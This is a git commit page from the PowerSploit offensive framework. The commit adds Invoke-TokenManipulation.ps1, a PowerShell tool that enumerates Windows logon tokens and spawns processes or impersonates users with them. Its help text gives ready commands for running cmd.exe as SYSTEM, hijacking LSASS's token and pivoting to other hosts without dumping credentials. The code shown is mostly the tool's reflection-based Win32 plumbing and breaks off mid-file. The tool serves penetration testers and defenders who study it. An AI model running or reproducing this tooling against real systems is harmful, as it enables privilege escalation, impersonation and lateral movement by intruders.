aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-11-04 02:43:54 -0800
committerMatt Graeber <mattgraeber@gmail.com>2013-11-04 02:43:54 -0800
commit8af97c6e24657bacabb3d59b2d817b67986a1a28 (patch)
treee6f18e46a37553a4cea421cb535ccd70c0522ba2
parent404d2480ba4db4cd26bd608bef26ef9b35866e26 (diff)
parent7a6e8a0f208d19d2be19265f90b6e503b74143fa (diff)
downloadPowerSploit-8af97c6e24657bacabb3d59b2d817b67986a1a28.tar.gz
PowerSploit-8af97c6e24657bacabb3d59b2d817b67986a1a28.zip
Merge pull request #18 from clymb3r/master
Adding Invoke-TokenManipulation
-rw-r--r--Exfiltration/Exfiltration.psd12
-rw-r--r--Exfiltration/Invoke-TokenManipulation.ps11773
2 files changed, 1774 insertions, 1 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1
index 382b2e3..5268eb2 100644
--- a/Exfiltration/Exfiltration.psd1
+++ b/Exfiltration/Exfiltration.psd1
@@ -75,7 +75,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
- 'Invoke-NinjaCopy.ps1'
+ 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1
new file mode 100644
index 0000000..affbc20
--- /dev/null
+++ b/Exfiltration/Invoke-TokenManipulation.ps1
@@ -0,0 +1,1773 @@
+function Invoke-TokenManipulation
+{
+<#
+.SYNOPSIS
+
+This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use
+anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections.
+This functionality is very similar to the incognito tool (with some differences, and different use goals).
+
+This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell
+creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token
+that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect
+to another server as that user (it will authenticate using the primary token of the process, which is your original logon token).
+
+Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon
+Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their
+credentials for the authentication.
+
+IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone".
+This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL
+is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though,
+so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop.
+This could show up in logs depending on the level of monitoring.
+
+
+Important differences from incognito:
+First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
+between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
+which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow
+you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting
+without dumping credentials.
+
+In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does
+matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for
+the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types
+should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks
+for tokens which were created with desirable logon tokens (and only displays them by default).
+
+In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good).
+
+
+PowerSploit Function: Invoke-TokenManipulation
+Author: Joe Bialek, Twitter: @JosephBialek
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.0
+
+.DESCRIPTION
+
+Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
+
+.PARAMETER Enumerate
+
+Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens).
+
+.PARAMETER RevToSelf
+
+Switch. Stops impersonating an alternate users Token.
+
+.PARAMETER ShowAll
+
+Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens).
+
+.PARAMETER ImpersonateUser
+
+Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId.
+ This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead.
+
+.PARAMETER CreateProcess
+
+Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId.
+
+.PARAMETER WhoAmI
+
+Switch. Displays the credentials the PowerShell thread is running under.
+
+.PARAMETER Username
+
+Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user.
+
+.PARAMETER ProcessId
+
+Specify the Token to use by ProcessId. This will use the primary token of the process specified.
+
+.PARAMETER Process
+
+Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process.
+
+.PARAMETER ThreadId
+
+Specify the Token to use by ThreadId. This will use the token of the thread specified.
+
+.PARAMETER ProcessArgs
+
+Specify the arguments to start the specified process with when using the -CreateProcess mode.
+
+.PARAMETER NoUI
+
+If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the
+current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control
+to "Everyone".
+
+
+.EXAMPLE
+
+Invoke-TokenManipulation -Enumerate
+
+Lists all unique usable tokens on the computer.
+
+.EXAMPLE
+
+Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
+
+Spawns cmd.exe as SYSTEM.
+
+.EXAMPLE
+
+Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
+
+Makes the current PowerShell thread impersonate SYSTEM.
+
+.EXAMPLE
+
+Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
+
+Spawns cmd.exe using the primary token belonging to process ID 500.
+
+.EXAMPLE
+
+Invoke-TokenManipulation -ShowAll
+
+Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon.
+
+.EXAMPLE
+
+Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
+
+Spawns cmd.exe using the token belonging to thread ID 500.
+
+.EXAMPLE
+
+Get-Process lsass | Token-TokenManipulation -CreateProcess "cmd.exe"
+
+Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script.
+
+.EXAMPLE
+
+Get-Process lsass | Token-TokenManipulation -ImpersonateUser
+
+Makes the current thread impersonate the lsass security token.
+
+.NOTES
+This script was inspired by incognito.
+
+Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/).
+BIG THANKS to Matt Graeber for helping debug.
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
+
+#>
+
+ [CmdletBinding(DefaultParameterSetName="Enumerate")]
+ Param(
+ [Parameter(ParameterSetName = "Enumerate")]
+ [Switch]
+ $Enumerate,
+
+ [Parameter(ParameterSetName = "RevToSelf")]
+ [Switch]
+ $RevToSelf,
+
+ [Parameter(ParameterSetName = "ShowAll")]
+ [Switch]
+ $ShowAll,
+
+ [Parameter(ParameterSetName = "ImpersonateUser")]
+ [Switch]
+ $ImpersonateUser,
+
+ [Parameter(ParameterSetName = "CreateProcess")]
+ [String]
+ $CreateProcess,
+
+ [Parameter(ParameterSetName = "WhoAmI")]
+ [Switch]
+ $WhoAmI,
+
+ [Parameter(ParameterSetName = "ImpersonateUser")]
+ [Parameter(ParameterSetName = "CreateProcess")]
+ [String]
+ $Username,
+
+ [Parameter(ParameterSetName = "ImpersonateUser")]
+ [Parameter(ParameterSetName = "CreateProcess")]
+ [Int]
+ $ProcessId,
+
+ [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)]
+ [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)]
+ [System.Diagnostics.Process]
+ $Process,
+
+ [Parameter(ParameterSetName = "ImpersonateUser")]
+ [Parameter(ParameterSetName = "CreateProcess")]
+ $ThreadId,
+
+ [Parameter(ParameterSetName = "CreateProcess")]
+ [String]
+ $ProcessArgs,
+
+ [Parameter(ParameterSetName = "CreateProcess")]
+ [Switch]
+ $NoUI
+ )
+
+ Set-StrictMode -Version 2
+
+ #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
+ Function Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+
+ #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
+ Function Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ ###############################
+ #Win32Constants
+ ###############################
+ $Constants = @{
+ ACCESS_SYSTEM_SECURITY = 0x01000000
+ READ_CONTROL = 0x00020000
+ SYNCHRONIZE = 0x00100000
+ STANDARD_RIGHTS_ALL = 0x001F0000
+ TOKEN_QUERY = 8
+ TOKEN_ADJUST_PRIVILEGES = 0x20
+ ERROR_NO_TOKEN = 0x3f0
+ SECURITY_DELEGATION = 3
+ DACL_SECURITY_INFORMATION = 0x4
+ ACCESS_ALLOWED_ACE_TYPE = 0x0
+ STANDARD_RIGHTS_REQUIRED = 0x000F0000
+ DESKTOP_GENERIC_ALL = 0x000F01FF
+ WRITE_DAC = 0x00040000
+ OBJECT_INHERIT_ACE = 0x1
+ GRANT_ACCESS = 0x1
+ TRUSTEE_IS_NAME = 0x1
+ TRUSTEE_IS_SID = 0x0
+ TRUSTEE_IS_USER = 0x1
+ TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5
+ TRUSTEE_IS_GROUP = 0x2
+ PROCESS_QUERY_INFORMATION = 0x400
+ TOKEN_ASSIGN_PRIMARY = 0x1
+ TOKEN_DUPLICATE = 0x2
+ TOKEN_IMPERSONATE = 0x4
+ TOKEN_QUERY_SOURCE = 0x10
+ STANDARD_RIGHTS_READ = 0x20000
+ TokenStatistics = 10
+ TOKEN_ALL_ACCESS = 0xf01ff
+ MAXIMUM_ALLOWED = 0x02000000
+ THREAD_ALL_ACCESS = 0x1f03ff
+ ERROR_INVALID_PARAMETER = 0x57
+ LOGON_NETCREDENTIALS_ONLY = 0x2
+ SE_PRIVILEGE_ENABLED = 0x2
+ SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1
+ SE_PRIVILEGE_REMOVED = 0x4
+ }
+
+ $Win32Constants = New-Object PSObject -Property $Constants
+ ###############################
+
+
+ ###############################
+ #Win32Structures
+ ###############################
+ #Define all the structures/enums that will be used
+ # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
+ $Domain = [AppDomain]::CurrentDomain
+ $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
+ $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
+
+ #ENUMs
+ $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32])
+ $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null
+ $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null
+ $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null
+ $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType()
+
+ #STRUCTs
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8)
+ $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
+ $LARGE_INTEGER = $TypeBuilder.CreateType()
+
+ #Struct LUID
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
+ $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null
+ $LUID = $TypeBuilder.CreateType()
+
+ #Struct TOKEN_STATISTICS
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null
+ $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null
+ $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null
+ $TOKEN_STATISTICS = $TypeBuilder.CreateType()
+
+ #Struct LSA_UNICODE_STRING
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null
+ $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null
+ $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null
+ $LSA_UNICODE_STRING = $TypeBuilder.CreateType()
+
+ #Struct LSA_LAST_INTER_LOGON_INFO
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null
+ $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType()
+
+ #Struct SECURITY_LOGON_SESSION_DATA
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null
+ $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null
+ $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null
+ $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null
+ $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType()
+
+ #Struct STARTUPINFO
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null
+ $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null
+ $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null
+ $STARTUPINFO = $TypeBuilder.CreateType()
+
+ #Struct PROCESS_INFORMATION
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null
+ $PROCESS_INFORMATION = $TypeBuilder.CreateType()
+
+ #Struct TOKEN_ELEVATION
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null
+ $TOKEN_ELEVATION = $TypeBuilder.CreateType()
+
+ #Struct LUID_AND_ATTRIBUTES
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
+ $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
+ $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
+ $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
+
+ #Struct TOKEN_PRIVILEGES
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
+ $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
+ $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
+
+ #Struct ACE_HEADER
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null
+ $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null
+ $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null
+ $ACE_HEADER = $TypeBuilder.CreateType()
+
+ #Struct ACL
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null
+ $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null
+ $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null
+ $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null
+ $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null
+ $ACL = $TypeBuilder.CreateType()
+
+ #Struct ACE_HEADER
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null
+ $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null
+ $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType()
+
+ #Struct TRUSTEE
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null
+ $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null
